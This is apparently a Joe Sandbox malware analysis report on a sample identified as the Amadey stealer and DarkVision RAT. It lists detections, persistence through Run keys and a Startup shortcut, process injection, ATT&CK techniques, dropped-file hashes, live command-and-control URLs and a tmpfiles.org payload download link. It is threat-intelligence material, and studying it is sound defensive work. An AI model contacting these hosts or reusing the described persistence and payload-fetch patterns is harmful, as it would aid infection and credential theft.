Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Queries volume information: C:\ProgramData\Office Manager\Application.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Office Manager\Application.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_0041E79A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

10_2_0041E79A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_004165D0 IsUserAnAdmin,GetUserNameA,GetComputerNameExW,GetModuleFileNameA,

10_2_004165D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_00444057 _free,_free,_free,GetTimeZoneInformation,_free,

10_2_00444057

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_00408520 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

10_2_00408520

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.16.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.16.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 10.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.InstallUtil.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3f12950.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1880424577.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected DarkVision Rat

Source: Yara match	File source: Process Memory Space: stub4141_2024-10-16_10-48.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lcs PID: 5284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 672, type: MEMORYSTR

Remote Access Functionality

Yara detected DarkVision Rat

Source: Yara match	File source: Process Memory Space: stub4141_2024-10-16_10-48.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lcs PID: 5284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 672, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_004307F8 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,		10_2_004307F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0042FB01 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,		10_2_0042FB01

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	23 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	11 Input Capture	2 System Time Discovery	Remote Services	11 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 Account Discovery	Remote Desktop Protocol	11 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	411 Process Injection	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Registry Run Keys / Startup Folder	22 Software Packing	NTDS	135 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	411 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	63%	ReversingLabs	Win32.Trojan.Leonem
file.exe	100%	Avira	HEUR/AGEN.1300034

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\psh\lcs	100%	Avira	HEUR/AGEN.1306978
C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	100%	Avira	HEUR/AGEN.1306978
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stub4141_2024-10-16_10-48[1].exe	100%	Avira	HEUR/AGEN.1306978
C:\ProgramData\Office Manager\Application.exe	100%	Avira	HEUR/AGEN.1300034
C:\ProgramData\psh\lcs	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stub4141_2024-10-16_10-48[1].exe	100%	Joe Sandbox ML
C:\ProgramData\Office Manager\Application.exe	68%	ReversingLabs	Win32.Trojan.Leonem

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe

Name	Malicious	Reputation
http://185.215.113.19/CoreOPT/index.php?scr=1	true	unknown
https://tmpfiles.org/dl/14438655/stub4141_2024-10-16_10-48.exe	false	unknown
http://185.215.113.19/CoreOPT/index.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.19/CoreOPT/index.php369.jpgT	InstallUtil.exe, 00000004.00000002.2691625384.000000000379E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.php?scr=1i	InstallUtil.exe, 00000004.00000002.2682444065.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tmpfiles.org/	InstallUtil.exe, 00000004.00000002.2682444065.000000000106D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tmpfiles.org/dl/14438655/stub4141_2024-10-16_10-48.exe7	InstallUtil.exe, 00000004.00000002.2682444065.000000000106D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.phpsion	InstallUtil.exe, 00000004.00000002.2691625384.000000000379E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.php369.jpg	InstallUtil.exe, 00000004.00000002.2691625384.000000000379E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.php?scr=1H4	InstallUtil.exe, 00000004.00000002.2691625384.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.php?scr=1tg5TSl0zGDjOSvEHVnex.php	InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.php?scr=1S	InstallUtil.exe, 00000004.00000002.2691625384.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.phprn$y	InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.php?scr=17	InstallUtil.exe, 00000004.00000002.2691625384.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.16.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/CoreOPT/index.php?scr=1Y4	InstallUtil.exe, 00000004.00000002.2691625384.000000000373E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.phpqk	InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.php?scr=154	InstallUtil.exe, 00000004.00000002.2691625384.000000000373E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.19/CoreOPT/index.phpKk	InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tmpfiles.org/dl/14438655/stub4141_2024-10-16_10-48.exe.	InstallUtil.exe, 00000004.00000002.2682444065.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.21.16	unknown	United States	13335	CLOUDFLARENETUS	false
20.189.173.20	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
82.147.85.218	unknown	Russian Federation	31112	SIBTEL-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1535260
Start date and time:	2024-10-16 19:21:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@14/14@0/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 50 Number of non-executed functions: 363
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:22:37	API Interceptor	693273x Sleep call for process: InstallUtil.exe modified
13:22:46	API Interceptor	1x Sleep call for process: file.exe modified
13:23:30	API Interceptor	1x Sleep call for process: Application.exe modified
13:24:12	API Interceptor	1x Sleep call for process: WerFault.exe modified
18:22:51	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office Manager.url
18:24:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run StartValue C:\ProgramData\psh\lcs {DB324A97-B31B-4D9E-9903-E21DB623A349}
18:24:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run StartValue C:\ProgramData\psh\lcs {DB324A97-B31B-4D9E-9903-E21DB623A349}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.21.16	jYDYjpSbvf.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer, RedLine, SmokeLoader, Stealc	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.1325.25139.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.20001.2923.exe	Get hash	malicious	Unknown	Browse
	KMPrEVaSfH.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse
	https://aeindo.co.id/cvt/	Get hash	malicious	Unknown	Browse
20.189.173.20	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse
	https://swishmax.en.download.it/	Get hash	malicious	LummaC Stealer, PureLog Stealer	Browse
	9VYSw7MFa8.dll	Get hash	malicious	Unknown	Browse
	Foto_03_02_2014_IMG_544134.zip	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse
	wechat-3.9.7-installer_ae-GFz1.exe	Get hash	malicious	Coinhive, Crypto Miner, DarkComet, GhostRat, IcedID, LaZagne, Mini RAT	Browse
	https://eu-central.storage.cloudconvert.com/tasks/004d6e18-5b09-432f-ae9a-7d0bef441692/%40%21Pa%20sc0d%C3%A9__-NewFiLes.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=cloudconvert-production%2F20240531%2Ffra%2Fs3%2Faws4_request&X-Amz-Date=20240531T054225Z&X-Amz-Expires=86400&X-Amz-Signature=e44f950daf1a1a2004947d6b8b5f8aa77838142684691288964d6f5027abcb41&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3D%22%40%21Pa%20sc0d%C3%A9__-NewFiLes.zip%22&response-content-type=application%2Fzip&x-id=GetObject	Get hash	malicious	Vidar	Browse
	WhatsAppAnd2Ios1.dll	Get hash	malicious	Unknown	Browse
	2.exe	Get hash	malicious	SmokeLoader	Browse
185.215.113.19	SecuriteInfo.com.Win32.TrojanX-gen.3600.5234.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	vsYkceYJOX.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.19/CoreOPT/index.php
	bUyvu6YU2H.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	blockchair_statement.pdf.lnk	Get hash	malicious	Unknown	Browse	185.215.113.19/283
	http://185.215.113.19/283	Get hash	malicious	Unknown	Browse	185.215.113.19/283
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	185.215.113.19/CoreOPT/index.php?scr=1
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.84
CLOUDFLARENETUS	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	https://drive.google.com/file/d/1S8C4QYrWAGakttBziq5Laqx9l3uUTD5M/view?usp=sharing	Get hash	malicious	HTMLPhisher	Browse	172.66.47.115
	Project_Proposal_Review_and_Approval13617.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://login.fmcstenton.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638646907113918520.MmYzZWJhM2UtYzBjZC00MDQ0LTgzMzYtMTI3YTQzYzIzZTYyMzg3ZGYyOTgtM2FkZC00MjVhLWIwMjAtNmEzNjgxYWI5NTVk&ui_locales=en-US&mkt=en-US&client-request-id=3f92c55a-715f-457c-9a11-b97b4a791b74&state=wy8NFmtyNiv-kocq9K-nytUpFTjdTy7L2A04gwZKC2jcmp3FRDGKyVCLMZrqOSvNUZltOYcRlb3dMUEwvy2E3Xhb_075Vj9b5mYnLd28nGXqmBzInY6Eko9mpIYYRtZX8SsLRO79X8gPWMUXQhRee4SAGfuO0b9KW6yeQrI_6_ZekC6aT22BvIqct1AkaGtFG6ouO5stOZwToHF69bVhmggMrzGnntiwRmwi4kAPQM2sj3c4okPhmBPa-KJfmy8uDYBd4CN4cwN0Wak1kRt4_Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	rBilateralt.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.5.125
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://cdn.discordapp.com/attachments/1238968627324125338/1296061386824093747/shortlist.zip?ex=6710eaba&is=670f993a&hm=26822365df14863bfea627ad912a327a69fb54ae8b0d7ba1003822b35800c605&	Get hash	malicious	Unknown	Browse	162.159.129.233
MICROSOFT-CORP-MSN-AS-BLOCKUS	(No subject) (86).eml	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.67
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	na.elf	Get hash	malicious	Mirai	Browse	22.102.39.25
	https://wetransfer.com/downloads/4f5f9a1df32f83efd5c1ad4e5c3f9fa120241016141106/168e436bc920d5fe1bbb38b50cda764320241016141114/7ca9c9?t_exp=1729347066&t_lsid=761fb8c4-59e5-4423-a2fe-24d132de0406&t_network=email&t_rid=YXV0aDB8NjcwZjk3NmNiMTljZmJiMjZiYjU2ODA4&t_s=download_link&t_ts=1729087874&utm_campaign=TRN_TDL_01&utm_source=sendgrid&utm_medium=email&trk=TRN_TDL_01	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	150.171.27.10
	https://app-uk.bitdam.com/api/v1.0/links/rewrite_click/?rewrite_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyZXdyaXRlX2lkIjoiNjcwZmJkMjNkYmM5Y2E1Yzg5Mjg2YmU4IiwidXJsIjoiIiwib3JnYW5pemF0aW9uX2lkIjozMjk0NH0.MZs_h27RK21gqVMQMHg-xNNair2piCx759dwB_CjSOE&url=http%3A//qlzxg.gersonpradoconsultoria.com.br/4RVmvH17568cHaH1164btackahjyr26892TMVUQPWDJCVKKGA4768TJXD19153E17	Get hash	malicious	Unknown	Browse	20.90.137.189
	Play.VN-_E_CQDM.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	ZRemI0ixC6.dll	Get hash	malicious	BumbleBee	Browse	21.105.15.36
	Q6yuW8YIMR.dll	Get hash	malicious	BumbleBee	Browse	21.105.15.36
	na.elf	Get hash	malicious	Mirai	Browse	52.154.212.182
	7rbJdaTZe2.dll	Get hash	malicious	BumbleBee	Browse	21.105.15.36
SIBTEL-ASRU	http://marylandez.com	Get hash	malicious	Unknown	Browse	82.147.85.91
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	82.147.84.19
	file.exe	Get hash	malicious	Unknown	Browse	82.147.84.19
	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	82.147.85.52
	66b9d0b4a2cab_stealc.exe	Get hash	malicious	Stealc	Browse	82.147.84.78
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	82.147.84.78
	1.exe	Get hash	malicious	Go Injector, RHADAMANTHYS	Browse	82.147.85.37
	1.bin.exe	Get hash	malicious	Go Injector, RHADAMANTHYS	Browse	82.147.85.37
	ewpRRCnxEv.exe	Get hash	malicious	LummaC, Vidar	Browse	82.147.85.52
	tJN7nzQ8Q1.exe	Get hash	malicious	XWorm	Browse	82.147.85.135

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\ProgramData\Office Manager\Application.exe	jYDYjpSbvf.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer, RedLine, SmokeLoader, Stealc	Browse
C:\ProgramData\Office Manager\Application.exe	vsYkceYJOX.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RedLine, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_stub4141_2024-10_59dfdadaae31e7504e5414817b2664c1c1f63a7_74390ce0_0c883852-1c5c-4b59-98df-0b04b69a9b95\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9373076809816627
Encrypted:	false
SSDEEP:	192:BoShmRvL0Qd+Nw8mpmajGYZhHzuiFTZ24IO8tmC:qymRvYQd+NwTUajjzuiFTY4IO8oC
MD5:	72A4167653E893DEC431E4EC7585E649
SHA1:	1B9CB287FCDCBF15FCA7E7B6BF1CA28AB94FFD70
SHA-256:	CDAEEFBA08ED5732752CDEE2A42C654C7F9910944EDC4EEAEBBE3600B3D89F28
SHA-512:	D75EBDD3617E8C0852F7035C144D01163C8ADB1D7352B5B76B34D0C466F94995BF6F79A4099189CD1B96F8757F2F60A7D369538433E6EB7C79B37F70E369170C
Malicious:	false
Reputation:	low
